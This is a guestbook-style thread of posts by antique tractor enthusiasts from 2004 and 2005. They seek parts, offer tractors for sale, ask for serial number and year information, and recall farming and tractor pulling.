jim bruce wrote on Wednesday, January 12, 2005 (PST):we had a rumely do all with the 4 cyl waukesha engine. also had a rumely pull type combine withhe same engine. the rear wheels could be moved forward causing the jack gears to raise the tractor so you could cultivate corn. a long tail was added with a castor wheeel on th rear. this wheel locked when driving straight and was unlocked to turn around using the brakes. the steering was then hooked to the drive wheels so they could be turned just a little, keeping the tractor on the row. the seat, steering wheel, clutch, gearshift, and brakes were extended back to the castor wheel so you sat at the front of the castor wheel, astraddle the extension. the cultivator had two foot pedals to shift the cultivator sideways if you got off the row a little. you really took a ride sitting over that tail wheel when you turned around at the end of the row. i saw the hired man turn around in a shallow ditch and it came around so fast he could'nt get his foot off the brake sso kept going round and round. each time the small castor wheel went down in the ditch it would almost throw him off. i was a lilttle boy and thought it was really funny, but it could have been serious.
robert lewis wrote on Tuesday, January 11, 2005 (PST):I am looking for a starter for a "u" model, serial number 01207246
jimmy carter wrote on Sunday, January 09, 2005 (PST):I have G1000 in onterio needs to be in cottondale, fl. I need someone to to haul it. 8502585864cell.I think this tractor is awsome!!!
Rick wrote on Friday, January 07, 2005 (PST):Does any one have a set of arps tracks for sale. I would like a pair for my 861. Please email me if you have a set for sale. Please state price and your location. Thank You
phill harland wrote on Friday, January 07, 2005 (PST):I own two oliver one is a supper55,had it for four years and can out pull a farmall M without any problem. I pull a seven foot woods brush hog and a three bottom plow wouldnt give it up for the world!!!!!!!!!!!!
phill harland wrote on Friday, January 07, 2005 (PST):I own two oliver one is a supper55,had it for four years and can out pull a farmall M without any problem. I pull a seven foot woods brush hog and a three bottom plow wouldnt give it up for the world!!!!!!!!!!!!
nick kramer wrote on Thursday, January 06, 2005 (PST):I'm looking for a D-21 to make into a pulling tractor. Can anyone help me find one? It can be in any kind of condition. thanks
BRIAN ROCH wrote on Wednesday, January 05, 2005 (PST):I HAVE TWO DC AIR CLEANER STACKS FOR SALE MINOR DAMAGE CAN BE RESTORED SELL BOTH FOR 28.00
BRIAN ROCH wrote on Wednesday, January 05, 2005 (PST):I HAVE TWO CASE DC AIR CLEANER STACKS FOR SALE NEEDS SOME CARE BUT CAN BE BROUGT BACK TO NEW
Joe Wiesen wrote on Tuesday, January 04, 2005 (PST):I recently aquired a 52-53? Coop E5, Cockshutt, with a 6DA-273 diesel. Its a complete tractor in good condition. I am looking for a buyer, make an offer, I can send pics.
Aaron Patterson wrote on Monday, January 03, 2005 (PST):I am looking to purchase a 770 oliver diesel for restoration. Does any one know where I might find one? I live in Pennsylvania and will travel within reason to pick one up. please contact me at alhpatterson3 at wmconnect.com Thank you Aaron
Ruben Richardson wrote on Sunday, January 02, 2005 (PST):I am a very serious and interested buyer of a nice D-21 original or restored. I live in Colorado. 9708480353
kevin trachte wrote on Sunday, January 02, 2005 (PST):One of the first pictures they have of me as a kid is on theseat of a Cockshutt 40. It's been rebuilt once in the fifty plus years we've had it. We do a lot of round baling, and it's never missed a season.
Morley Fisher wrote on Sunday, January 02, 2005 (PST):Looking for steel wheels for 70 oliver row crop.
GLENN FOGLE wrote on Saturday, January 01, 2005 (PST):NEED F-12 ENGINE BLOCK OR REBUIDABLE ENGINE
Kevin Lippert wrote on Saturday, January 01, 2005 (PST):I have a industrial 1950 mfwa made in 1970. 1300 hrs. it was a county tractor. its for sale. asking $8200 or best offer.
clay wrote on Friday, December 31, 2004 (PST):I have a international 350 diesel can't find much info on it. If anybody could help i would like to know where the serial no. is located and where i could find reasonabley priced engine parts. Somewhere around east tennessee, thanks.
Tom Smith wrote on Thursday, December 30, 2004 (PST):I'm interested in restoring a Case L. I would like to locate a publication that presents Case tractor models and specifications. Does any book exist with this information? Thanks and have a happy new year, Tom
Eugene O'Sullivan wrote on Thursday, December 30, 2004 (PST):Dear Sir I would be very grateful if you would give me any information on doing the Engine Timing on my Ford 3600 Tractor(year 1977). I am a fitter by trade myself so i will have no problem with the doing of it, It is just that this is my first time doing such a job on my tfactor. Iwish you a happy New Year and thank you in advance for your help. Yours sincerely Eugene O'Sullivan
Eugene O'Sullivan wrote on Thursday, December 30, 2004 (PST):Dear Sir I would be very grateful if you would give me any information on doing the Engine Timing on my Ford 3600 Tractor(year 1977). I am a fitter by trade myself so i will have no problem with the doing of it, It is just that this is my first time doing such a job on my tfactor. Iwish you a happy New Year and thank you in advance for your help. Yours sincerely Eugene O'Sullivan
Todd B wrote on Thursday, December 30, 2004 (PST):I have purchased my grandfathers farm 12 years ago and with the farm I got a Oliver super 55. I am looking for a new rubber seat spring. Does any one know where I can get this part?
Jim Robillard wrote on Wednesday, December 29, 2004 (PST):Lokking for a hydraulic pump for a Massey Harris Pony. This pump mounts on the front of the block behind the fan
gerald clark wrote on Tuesday, December 28, 2004 (PST):A neighgor had a MM U on hid farm in Manitoba Canada in the late 40's or early 50's. I have seen him go down the road a high speed. Someone said they could travel a 40 mph in road gear. Is this true?
jeff johnson wrote on Monday, December 27, 2004 (PST):i need an engine block for a '41 A
Tom Windsor wrote on Sunday, December 26, 2004 (PST):Put a date on the farmall; The casting codes can be used to determine the year of manufacture. These codes are located on virtually every part of the tractor that is made of cast iron. The code will look something like this --6*14*J, 6 being the month, 14 the day, and J the year. Here is a complete breakdown, giving the letter, and the year it represents. I=39 J=40 K=41 L=42 M=43 N=44 O=45 P=46 Q=47 R=48 S=49 T=50 W=51 X=52 Y=53 Z=54
Ross Morton wrote on Saturday, December 25, 2004 (PST):I have a AC D15 series 11 gas with starter problem,any one know how to dismantle. Can't see any bolts to remove?please reply
RICKY MILSTEAD wrote on Friday, December 24, 2004 (PST):I HAVE A SUPER DEXTA WITH THE SER # GKN13721G. AS BEST I CAN TELL CAN ANYONE TELL ME WHAT YEAR IT IS THANKS
Mark Trachy wrote on Wednesday, December 22, 2004 (PST):Purchased a 1963 Oliver built Cockshutt 550 gas recently. It hadn't been started for over 2 years. After an oil change and a couple of electrical problems, it runs great. I hope to start dooing a proper restore next year. In the meantime, it does and excellent job of blowing snow and other odd jobs around the yard. MT
Paul Szikszai wrote on Tuesday, December 21, 2004 (PST):Can anyone give me specs on a Ford 2000 industrial, power steering, 3pt gas tractor, serial #140936 heavy duty ford all hydraulic materials bucket, front end loader. Above description is from an auction ad. How many cylinders? what year? Live pto? 3 point hitch? How many speed fwd and reverse? Can both rear wheels be locked to turn at the same time? What ever info I can get would be appreciated.
C.B.Kron wrote on Sunday, December 19, 2004 (PST):I have a Farmall A which has a seat with one large, central coil spring instead of the more familiar seat. I can't find a serial number in the normal location. Can someone tell me more about it and the year of manufacture?
phil brown wrote on Sunday, December 19, 2004 (PST):just wondering if anyone has some parts for a d15 diesel. i have a d15 series2 diesel hi crop. would consider selling of i cant find some sheet metal. this is a real rare piece. also have a d17 to sell.
harlan wrote on Sunday, December 19, 2004 (PST):I have a mh55 not sure of year yet but will part with it for a reasonable offer (still running). Also have a jd820 1957 (all original but needs work) that is for sale make offer. Tractors are located in Louisiana
Padraic wrote on Saturday, December 18, 2004 (PST):I Have A 1953 Massey Harris 33 And A Massey 55(Unkown Year) Im Looking For A 44. Anyone Want To Sell One. Original Condition and for 1000 or less?
Dennis Walker wrote on Thursday, December 16, 2004 (PST):My name is Dennis Walker Iam from Campbell River B.C. Canada . The people that had my tractor before me took it apart and lost the four rockers and bushings that go with them. So Iam in dire strates for a set of these.The tractor is a 1927 modle L Rumley oil pull,the rest of the tractor is there and in real nice shape. So if any one reading this can help with any leads or parts I would realy appreicate this. My phone is Nites and weekends area code 250 923 2865 or e mail at the above email address. thank you very much.
pat murphy wrote on Thursday, December 16, 2004 (PST):noisey bugger of a thing
Bob wrote on Tuesday, December 14, 2004 (PST):Looking for a Allis Chalmers D-12 Series IorII Would be willing to pay top price for the right tractor.
gene schulte wrote on Monday, December 13, 2004 (PST):I have 2 HD7 Dozers, looking for track & suspension parts Would consider selling 1 or both.Both are running but need TLC.
chuck trowbridge wrote on Tuesday, December 07, 2004 (PST):I recently got a 1466. It is a really nice tractor and really tight. I took it to a tractor pull this summer, and everyone was like you are going to tear it up it has a good record at teh track. MY tractor tore it up until the turbo whined down. Then I just stopped, had nothing. The tractor was dinoed at 145 when I got it, but it has a intercooler put on it. What I am thinking it was turned down and maybe did something to the governor to get it down to 145 hp again. I was told I could push 200hp with the intercooler installed I have backed the screw out a few turns on the pump, but I cant tell the difference, it doesn't seem like it is gettting enough fuel. When using the tractor for farm work especially pulling our 4*18 moldboard plows ti does the same thing. Pictures that people have taken when I was pulling last year showed I was putting out very little dark smoke and I know this is wrong. I am new to the scean of the 66 series. We have only ran reds. I would like to do a little better this year and just increase the all around performance of my tractor. I am 19 and am fairly mechanical, just have the experience. Could anyone help me?
Kaz Gratkowski wrote on Tuesday, December 07, 2004 (PST):I have a 15-25 Rock Island model G2-90632 that I am interested in selling. Running when parked inside 10 years ago. Mag was rebuilt then. Engine is now stuck due to condensation. Steel in perfect condition. Will consider all reasonable offers. Delivery would be responsibility of buyer. Located in lower Southwestern Michigan. Send email or phone 269-423-4291 or cellphone 269-501-2796.
ken coleman wrote on Monday, December 06, 2004 (PST):I have a 1952 super md that is disassembled and needs a new cylinder sleeve...does anyone know where I can get one. (or a good block or complete engine)? Any help would be appreciated. Thanks....I also have another '52 smd and a '52 sm that are in working condition.
Michael Barrow wrote on Monday, December 06, 2004 (PST):I am looking for impletements to fot a Pony tractor. I could use anything that relates to gardening. Iam located in the Newport News, Virginia area.
BILL ADAMS wrote on Sunday, December 05, 2004 (PST):I NEED A WIDE FRONT END FOR A FARMALL 560.
Daniel Allen wrote on Saturday, December 04, 2004 (PST):I have G1000 Vista lp best running tractor i think i have ever used don't know why they stopped. building them.
Tony Ruhl wrote on Thursday, December 02, 2004 (PST):I was taught to drive on a 1955 Oliver and would like to know how I can find it.
lanzboi wrote on Wednesday, December 01, 2004 (PST):My father owns a beautifully restored 55K and here in Australia alot of them were converted to perkins power. I am wondering if any were converted to 3/71 GM engines in America because i've never seen one here. When i'm older( i'm only 16) i would really love to convert a 55k to diesel with a 3/71 GM. If only.....
Emil Rohland wrote on Tuesday, November 30, 2004 (PST): John Doe needs a WD allis Magneto I have one plus many other parts for same also have carburetor and oilpump for 40 cockshutt
Henry Hahn wrote on Sunday, November 28, 2004 (PST):You can find the year and s/n steel stamped on the insterment panel below the gages about 1/4 inch up from the bottom edge. Henry
Danile Lavoie wrote on Sunday, November 28, 2004 (PST):Je cherche savoie quelle valeur peut avoir un tracteur cockshutt 1953 srie 35 que je possde. I try to know what is the value of my tractor Cockshutt 1953 serie 35
ash wrote on Saturday, November 27, 2004 (PST):this weekend i picked up a massey harris 50 with loader and backhoe and needs lots work due to the frozen trans and motor this will be my first restoration and any info would be appriciated thank you
ash wrote on Saturday, November 27, 2004 (PST):this weekend i picked up a massey harris 50 with loader and backhoe and needs lots work due to the frozen trans and motor this will be my first restoration and any info would be appriciated thank you
Fred Cummings wrote on Saturday, November 27, 2004 (PST):I have 2 Oliver 440's for sale. One has a broken rear axle housing. The other has a good axle housing. Both could be used to make one excellent tractor. E-mail me for more info. Located in Lillington, NC
george albart wrote on Friday, November 26, 2004 (PST):I am looking to purchase a series three 190XT in good shape, or one that has been restored. I would prefer somewhere in the midwest.
Dan Whiteley wrote on Wednesday, November 24, 2004 (PST):I have been looking for a Engine block for my TO20 it has the contenial Z120 appreciate any help Thank-you
Rob Shuey wrote on Wednesday, November 24, 2004 (PST):I just purchased a Sheppard SD-4. I am looking for numerous parts/parts tractor.
Pat Peters wrote on Tuesday, November 23, 2004 (PST):I just bought HART PARR 18-36 all orig. and in good running shape '1930' parade ready, wonder what this is really worth? I collect cockshutt as I WAS A DEALER FOR 35 YEARS
Brandon Markus wrote on Monday, November 22, 2004 (PST):Would like any information on parts and books about rock island tractors. Looking for intake and exhaust valves.
Jeff Cole wrote on Sunday, November 21, 2004 (PST):I am in the process of buying 2 JD model A tractors in rough shape. I'm planning on restoring one of them, the other for parts. These tractors have the narrow front end but I would like to put the wide end on. I am new to this restoring business and wondering if parts are hard to get for these tractors. Would like suggestions and any toher help I can get. Thanks Jeff
bill N. wrote on Sunday, November 21, 2004 (PST): I bought a 770 gas NF 7 yrs ago / with loader. late last spring I did a restoration. I'm hopelessly hooked on restoring. I know I had some trouble finding pictures of 770's on the net. Since the HCOPA Nationals in 2004. there are lots of pictures at www.hartparroliver.org I hope it helps some of you out
marty wrote on Saturday, November 20, 2004 (PST):I am looking for a Massey Harris 55D complete that needs to be restored.
Christie Koch wrote on Saturday, November 20, 2004 (PST):Beautiful
Jason wrote on Friday, November 19, 2004 (PST):My father owned a 220 AC for 15 years, till he traded it for a 7045. He has regretted it ever since.
Ivan L. Cohen wrote on Friday, November 19, 2004 (PST):I talked on the phone to gentleman in Nebraska a while back about the Rumley Paper weight in my possesion and I have misplaced his name and address. Hoping to locate him again. THANK YOU ILC
scrany wrote on Thursday, November 18, 2004 (PST):Is anyone interested in buying a 1945 B ? It's located in S/W Missouri? I have one that is in good shape, runs well etc. just needs front tires and paint and its ready to go. Contact me if you are interested. rms31759 at mchsi.com
jerry arnold wrote on Wednesday, November 17, 2004 (PST):i am looking for a "power take off clutch" for a ford jubilee, part #T&ID 239201 it is a lever located just above the pto lever on the same plate that bolts at the same location of the pto lever on the right hand side, it's purpose is when the tractor is running with pto engaged it will move in whatever gear it is in provided the lever is pushed forward, but when lever is pushed back the tractor ceases to move but pto will continue to operate my tractor has quit pulling regardless of lever position and i need this part real bad
Don Freborg wrote on Wednesday, November 17, 2004 (PST):I have a T-340 that is getting ready for sandblasting, painting, and detailing (our company does this). My question is this; I have to haul it and was wondering what the crawler/loader weighs? Thanks. Don
robert wrote on Monday, November 15, 2004 (PST):Wanted to buy D-12 or D-10 allis
roger wrote on Monday, November 15, 2004 (PST):Friend has a IH-H with the battery located under the seat--supposeibly a rare model. Would like some infor on this tractor and its value. It is very good original condition. Any infor would be appreciated.
roger wrote on Monday, November 15, 2004 (PST):Friend has a IH-H with the battery located under the seat--supposeibly a rare model. Would like some infor on this tractor and its value. It is very good original condition. Any infor would be appreciated.
Frank Hofer wrote on Sunday, November 14, 2004 (PST):I am looking for a D10 or a D12 tractor either a fixer upper or one thats in good shape
Don wrote on Sunday, November 14, 2004 (PST):I have a monarch 35 that my grandfather bought new in 1931 #K-1782 I am trying to get in shape. I am in need of one head gasket. Do you know where I might find one. I am located in california.
Tammy Holcomb wrote on Saturday, November 13, 2004 (PST):does anyone have any idea where to get a starter for a 63 fordson super major our shaft broke at the base and any help would be appreciated. Thanks Tammy
Bryant wrote on Friday, November 12, 2004 (PST):Looking for a w4 for sale if anyone has one. tks
Don Williams wrote on Tuesday, November 09, 2004 (PST):I am in the process of restoring John Deere 1950 model B. I looking for right side front grill and a battery box. If anyone has these for sale,please e-mail me Thanks
Kyle wrote on Tuesday, November 09, 2004 (PST):Len Mosher, do you still have the project BO Crawler for sale? If so, where is it located?
Elijah Shelton wrote on Monday, November 08, 2004 (PST):I'm looking to add to my collection so f you know any body who has one for sale let me known
Brian Dennis Vissian wrote on Monday, November 08, 2004 (PST):yes I used a 28-44 on Iron Wheels mowing in Bromham park when I was a boy it was owned By Mr Ayres Who farmed at both Stevington And Lower farm road Bromham Bedfordshire England and I believe his Daughter is still in the lower farm Road Farm The 28-44 seems to be very scarce around the shows now. I Have just Bought a David Brown 990 electamatic
Jason Morse wrote on Saturday, November 06, 2004 (PST):I have a 46' VAC #5050159 We bought at a local auction october of 2003. When I got her home she was put right to work hauling logs. I was impressed with the power enough so that a full resto was in order for the winter. Come spring when we rolled her out of the shop it was off to the pulls. with the tractor weighing in at 2,650# we loaded her for 3,000# class. After spinning out with too much power we went to 3,500 4,500 and then 5,500 when she was really starting to hook up great but I ran out of places to hang weight. I have to say that after all these years being a green blooded 2 cyl fan I think there might just be some flambeu red seaping in. Hey if anyone knows how I can find out more about my case where it was made, sold, and whom was her 1st owner. and any site pertaining to the VA series I would greatly appriciate it. remember too that old tractors can be a great family hobbie. Thanx
essam wrote on Saturday, November 06, 2004 (PST):I have two 1963 super major which works in very good condition but i need to know how do i source parts for them on my own e.g. seals,bearings & engine kits etc...Please would someone help me locate these parts and e-mail me with the information at essamali08 at hotmail.com. I live in Trinidad. Thanks
Harold Teeters wrote on Saturday, November 06, 2004 (PST):I have a 1958 Oliver gas tractor that I need to sell , it has a new clutch new PTO new seals and new paint runs great . can any one tell how to go about finding an interested buyer ?
1456 pulling agenst a D-21 ac wrote on Friday, November 05, 2004 (PST):i pull a 1456 it has a 4100 IH flywheel and clutch and lots more goodies.my 1456 has pulled 12000. i won the 12,000 lb class.a challenge was issued that i could not beat a pretty warm 15,000 lb class D-21 AC from our area. Bets were placed on the outcome. but my 1456 has a few more ponies under the hood. we both made full pulls. we came back around for the pull off. they added more weigh to the sled. the D-21 pull it short of a full pull. the old 1456 tightened the chain and blew it out the end. the ac people were shocked. i was a go sport about it and shook the D-21 drivers hand. he said you have a good runnin tractor. i said so do you and good pull. i sher do hav a lot of fun pulling that ol 1456.
856 puller. wrote on Friday, November 05, 2004 (PST):i pull a 856 with a turbo, 806,1066, and 1466. they are all good runners. i pull my 856 in the 10,500 class. she pulls agenst a 4020 with 466jd and i can still beet that 4020. the 856 has a 4100 flywheel and lots more goodies. i pull the 806 in 9500, the 1066 in 13500, and the 1466 in 15500. i pulled my buddys pete with a pot cattle out with the 856. she tightenedthe chain and blew it out the end.
Amalia Parodi wrote on Friday, November 05, 2004 (PST):Im interested in Rock Islan G2 (1929), Im from Argentina (South America), and I want to know how much it cost
mike smith wrote on Thursday, November 04, 2004 (PST):I know where one of these is sitting. And I would like to know how much its worth. It is completely restored but they blew a hole out eather side of the block. But they have another block for it. thanks
craig b wrote on Tuesday, November 02, 2004 (PST):I am looking for model G axles/and housings for both left and right,standard long only,I do have chopped and shortend axles but want stock.Calls only 503 668 3052
mark wrote on Tuesday, November 02, 2004 (PST):i have a W6 it is a really good tractor and runs great
dennis wrote on Monday, November 01, 2004 (PST):Iam restoring a 1957 fordson major diesel I need head gasket piston rings standerd can anyone help me locate this or any coments thanks
Neil Sharpe wrote on Sunday, October 31, 2004 (PST):I recently purchased Massey manuals of different varieties anyone interested in purchasing some.......can contact me at jimmers at kos.com.......I would like to add I live in Ontario, Canada.
R.J.Smith wrote on Saturday, October 30, 2004 (PDT):I am looking for a 40-H 320-v 420-H 420-V 430-H 430-V Phone 804-6392701 at night or 804-6400864 day.
Richard Robinson wrote on Saturday, October 30, 2004 (PDT):A widow friend of mine has a restored IH Farmall Cub (not sure what year) that she wants to sell. Location is Borrego Springs CA 90 miles from LA or San Diego. Her husband bought the basic unit is god offal condition, lots missing, rusted, a real junker. He was an aviation machanic and was used to total restoration. The unit was totall disassembled, every part was bead blasted, primed and repainted. Many parts were bought from all over the US including from IH. He paid $1500 for the junker, spent another $4K to $6K in parts and perhaps >1000 hours. It looks & runs like new, I would bet he rebuilt the engine but not sure, used very little since restore. A real collectors item. QUESTION; What is the best way to sell it and get a fair price? I have about 20 photos if you are interested. Richard
Kenneth Brunkhorst wrote on Saturday, October 30, 2004 (PDT):I have an old Oliver 90 with the following on the brass block tag; Cockshutt Hart - Parr 509709 28-44 Oliver Farm Equipment Co. Hart - Parr Works Charles City, Iowa The radiator just has oliver cast in it. Can anyone tell me what the heck this really is? I can see the maple leaf and Cockshutt under two coats of green paint on the gas tank.
gerald schmidt wrote on Friday, October 29, 2004 (PDT):Does anyone know where I might buy a operators manual for a McCormick Deering 22-36 tractor.
Don Stickelmaier wrote on Friday, October 29, 2004 (PDT):LI battery ground + or - I have seen both ways which is correct
Chris wrote on Friday, October 29, 2004 (PDT):1958 Farmall Cub with hydraulics, all garden implements, belly mower, snow plow. Runs good---moving. $2,000 O.B.O. Erie, PA
John Gleason wrote on Thursday, October 28, 2004 (PDT):How do I get information on a tractor listed in your listings.I'am trying to find out information about a front loader for a International 300 utility tractor.I would apprecepiate any help that you can give me. thank you. John
bob trail wrote on Thursday, October 28, 2004 (PDT):for sale 60 standard orchard tractor for sale. standard serial#6000001-6042999, ORCHARD SERIAL#6000001-6199999. RUNS GOOD HAS NEW RADIATOR ,cutch ,pessure plate,battery,rebuilt starter. fair rubber. asking $3500.00 bob trail 301-478-2296
John wrote on Thursday, October 28, 2004 (PDT):I own a 49' G that I've just started to restore.WF and big fenders this is going to be a parade tractor.Nothing sounds like a G when it's working hard
Kevin wrote on Thursday, October 28, 2004 (PDT):I just bought a 1953 Super md the serial number is f-12810-j the man said that is hasen't run in 3 years. It isen't seized but he said they had a prdoblem with the starter. This is my second tractor to restore my first was a smta. The deisel looks alot tougher. Any help would be appreciated.
Biged wrote on Thursday, October 28, 2004 (PDT):just purchased a 46 a high crop in bad need of paint otherwise runs
Clay Mask wrote on Thursday, October 28, 2004 (PDT):I have a 49 cub. I need to know how to set the points on it. Also is there a wiring diagram on the net so that I can wire it up correctlly. And how is the dist. cap numbered? The only number it has is a #1. Do I go clock wise for the rest of the order? Thanks.
timothy pyle wrote on Thursday, October 28, 2004 (PDT):have fcub for sell 1948 with belly mower 42 inch woods 423-658-2115 1600.00
Dan Fieser wrote on Wednesday, October 27, 2004 (PDT):Great picture. Ours had 23.1 x 34 rice and cane tires and had a great detroit diesel but the rear end was week if i remember. Still I'll never forget using it to pull a 21 foot Oliver disk. (we were now "big" farmers....... 6 rows all the way!)
MR. BIG AND RREEDD wrote on Tuesday, October 26, 2004 (PDT):i own two 1468 original black stripes they sure a pretty to look at and sure sound good but they are nuthin but a big friggin boat anchor IH FOREVER AMEN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Woody Mouw wrote on Tuesday, October 26, 2004 (PDT):I have serial # 1711 for sale it is complete and restorable runs good have all sheetmetal including batwings, nose and fenders are dented but usable will sell for $10,000 it is located in Modesto ca. (209)545-1417
Terry Boone wrote on Monday, October 25, 2004 (PDT):I am the owner of a fairly mint condition Leader tractor, but I don't know much about it. Is there somewhere on the tractor where I might find the serial number or any other distinguishing marking. At some point in time a prior owner converted the electrical system from 6 voltd to 12 volts. Now the electrical system is driving me crazy. I have replaced the coil twice, the on/off switch and the starter switch. Now I'm trying to replace the alternator, but I haven't been able to figure out what manufacturer or car type the current alternator is. If anyone has any suggestions I would be happy to hear from you. Terry p.s. I would consider a trade for a Ford 8N in comparable condition.
tom hanson wrote on Monday, October 25, 2004 (PDT):Does anyone know where I could buy a radiator fan assembly for the model N waterloo boy and what it would cost?
KAREN KIRBY wrote on Monday, October 25, 2004 (PDT):Does anyone out there know if there is such a tractor or have a picture of a 1970 Cub? Thanks.
LEONARD WAYNE LOWTHIAN wrote on Sunday, October 24, 2004 (PDT):great photo...iv got one but th wheels are orange. Its a great tractor...does all thats asked of it and never even gets short of breath
CHRIS PINCH wrote on Sunday, October 24, 2004 (PDT):ROGER Check your fuel line to see how close it is to your exhaust manifold. You may be getting a vapour lock in the line. You may also need your carb adjusted.GOOD-LUCK
JohnRohlf wrote on Sunday, October 24, 2004 (PDT):I own a 1956 560d had it running a few years ago and it needed a new pump,since then I've had several people tring to buy it,if I decide to sell it I don't know what it's worth.everything is there ,family owned needs paint and tires need ideal for finding a resonal price to sell
tom oconnell wrote on Sunday, October 24, 2004 (PDT):my father farmed with this tractor for many years but solded it before i took over the farm i wish i had it when i farmed it was a good old tractor its a minn moline kt or kta made only three years from 1934 to 1937
kirkC wrote on Friday, October 22, 2004 (PDT):Man o man, thats a sweet looking 220, But where are the fender skirt,s,It would look so much better with them on, oh well It,s still a sweet tractor,
George Showalter wrote on Friday, October 22, 2004 (PDT):I have a 1948 CASE DI am looking for; radiator cap, ring gear, starter bendex, gas cap... 907-776-8957
Jerry Slaton wrote on Thursday, October 21, 2004 (PDT):I am also looking for a G1000 Wheatland diesel in almost any condition,as long as its restorable.
robbie wrote on Thursday, October 21, 2004 (PDT):I am looking for a super 99 w/gm motor in any condition w-th good sheet metal.thanks -501-676-3671
Dan Pentz wrote on Thursday, October 21, 2004 (PDT):I have a 1948 case sc....I'm looking for some push rods ..any ideas
Keith Martin wrote on Thursday, October 21, 2004 (PDT):how much linda?
Bob Anguish wrote on Thursday, October 21, 2004 (PDT):.thanks for this I have a JD model LI ser.# 51194 can someone .tell me what year this is i am restoring it
Don Stickelmaier wrote on Thursday, October 21, 2004 (PDT):thanks J but the site only went up 1946 my serial # is past that # every article I read says they were not built after 1946. still trying to find out what year the LI is serial#IL52482 Thanks Don
wendy wrote on Wednesday, October 20, 2004 (PDT):I have an Oliver that is looking for a new loving home. "Ollie" needs a new home he has a new clutch but just won't start this week if interested call 541 533-2508
Robbie wrote on Wednesday, October 20, 2004 (PDT):looking for v8 68 series to buy
Stephen Daly wrote on Wednesday, October 20, 2004 (PDT):Hi My Dad has a 1947 IH Farmall McCormick Cub and has been restoring it. The only problem is we live in Ireland and can' get the transfers for the Engine cover anywhere. Could anybody tell me whether these can be purchased over the net please? Thanks in advance for the help
gary wrote on Wednesday, October 20, 2004 (PDT):How often due you change oil in a 1466?
Sean Mc Nulty wrote on Tuesday, October 19, 2004 (PDT):I have a MH744pd going and complete.I also have a MHd744 complete but no motor.the 744pd has front blade and the 744d has front bucket.They are both for sale.I live in N.S.W Australia.Contact me on blown2door at hotmail.com
Mark Slagle wrote on Tuesday, October 19, 2004 (PDT):I recently purchased a MH 55 (1953?) and would like to find out more about it. What I know is its a strong runner it has a 351ci 4 cylinder a weak hydro pump a belt drive for a saw?? I would say the tractor is in above aveage condition and it came with a brush hog. What I want to know is if anyone has mounted a 3point hitch on one? The horsepower? Original paint colors? What else the belt drive can be used for? please let me know if you have any info? additional pics would be cool also. thanks in advance
Gary wrote on Tuesday, October 19, 2004 (PDT):The "Touch-Control" hydraulics have become increasingly jerky on our old Farmall 100. Can anybody tell me what the cause might be or how to fix it. thanks, Gary
Roger Drouin wrote on Monday, October 18, 2004 (PDT):I have a D-15 Allis-Chalmers. It starts very well, but after some minutes, it stops. I can stard it not long after (some minutes) but it stops again and again. I change of all the fire systems, but the same problem exists. Who can help me?
KC wrote on Monday, October 18, 2004 (PDT):Have MC nicely restored runs and drives perfect make offer what is it worth?
boby wrote on Monday, October 18, 2004 (PDT):you got a crawler
boby wrote on Monday, October 18, 2004 (PDT):you got a crawler
Ron Dennis wrote on Monday, October 18, 2004 (PDT):I have a Farmall M, serial number FBK 53009. Does anyone out ther know what year this tractor was built, or know of a web site that has that information?
Henry Hahn wrote on Monday, October 18, 2004 (PDT):Darrell I may be intersted inyour Leader, could you send me a picture My land address is 7606 Hwy.J. , Perryville MO 63775 573-547-8693
Jim Beeman wrote on Monday, October 18, 2004 (PDT):I have a 778 Loader. Need a power steering gear unit or a shaft seal for mine.
Gerald Slaton wrote on Sunday, October 17, 2004 (PDT):I have a WC serial # WC91193.It has been sitting for a few years.I just bought a starter and two tires.I decided to sell it.I live in Northeastern Pa.Not sure what it is worth.My father is going to get it back running this week.Could anyone tell me if it is a desirable collectors item?
Darrell Freeman wrote on Sunday, October 17, 2004 (PDT):My uncle and I have started the old TO-20 I am trying to figureout how the pto attaches to the cutting deck the shaft on the deck is splined the TO-20 is square. .if you can help just email thanks Darrell.
Larry Osheim wrote on Sunday, October 17, 2004 (PDT):A year or so a go I saw drawings with dementions for 9 N running boards can any one help me find then Larry
Jon Schultz wrote on Sunday, October 17, 2004 (PDT):My dad and grandpa farmed with a 2010 NF gas row crop in northwest Illinois. I believe it was traded to an IHC dealership in Shullsburg, WI in the late '70's for a Farmall 450. I know it is a needle in a haystack, but I would like to find this tractor. If anyone out there purchased one or knows someone who purchased one from Blackbourn Implement in this time frame, I would really appreciate hearing from you. Thanks.
Rob wrote on Sunday, October 17, 2004 (PDT):Say would anyone out their happen To have a good Seat bracket John Deere # AM1341-T and also front idler bracket TE232Y in very good shape please let me know-Rob;
dennis hoyer wrote on Saturday, October 16, 2004 (PDT): i bought a M 8 weeks ago it hasn,t been used in around 10 years it smoked a lot when I first started useing it but now it is fine . It has slept in side all of it's life ,it is in real good shape . I paid $1,600 for it,I think I got a fair deal. Have fun be careful
Cole Thomas wrote on Saturday, October 16, 2004 (PDT):I have a 49-50 dc4. Where was the toolbox accually mounted? My number is (218)3346447 thanks lots cole
Bob Freije wrote on Friday, October 15, 2004 (PDT):I have two 1953 WD45's narrow fronts. They run good and ready to work. PTO and Hydraulics live. Fenders rough but solid,all of tractor very restorable. One tractor has a working beltpulley.See pix on tractor pictures under 1953 WD45 with Beltpulley BFreije, or 1953 WD45 BFreije I would like $1800 each Call 317-852-7204.
Bob Freije wrote on Friday, October 15, 2004 (PDT):I own a 1951 "G" tractor. It runs great ,has hydraulics middle and back. It comes with a 4' belly bushog,and cultivators. It is ready to work. See picture in tractor photos 1951 "G" BfFreije. Would sell for $3500. 317-852- 7204
steve lee wrote on Friday, October 15, 2004 (PDT):we have a 1959 gold 871 ford sos, would like information on this tractor. also any help as to it's value, thanks ahead of time steve
Wayne Swartz wrote on Thursday, October 14, 2004 (PDT):Have two D-17's (going to keep one & sell one) in southwest Pa. A series I and a series III.
j kauffman wrote on Thursday, October 14, 2004 (PDT):Ralph go to antique john deere.com you too don for the s/n of your LI.And you can purchase a manifold and any other L,LA,LI,(etc.)parts.
Mac wrote on Thursday, October 14, 2004 (PDT):I have a freind that is restoring a JD "H" and needs some engine parts. He mainly needs a head and governor parts. If someone has parts, let me know and I'll put you in touch with him or he can call you.
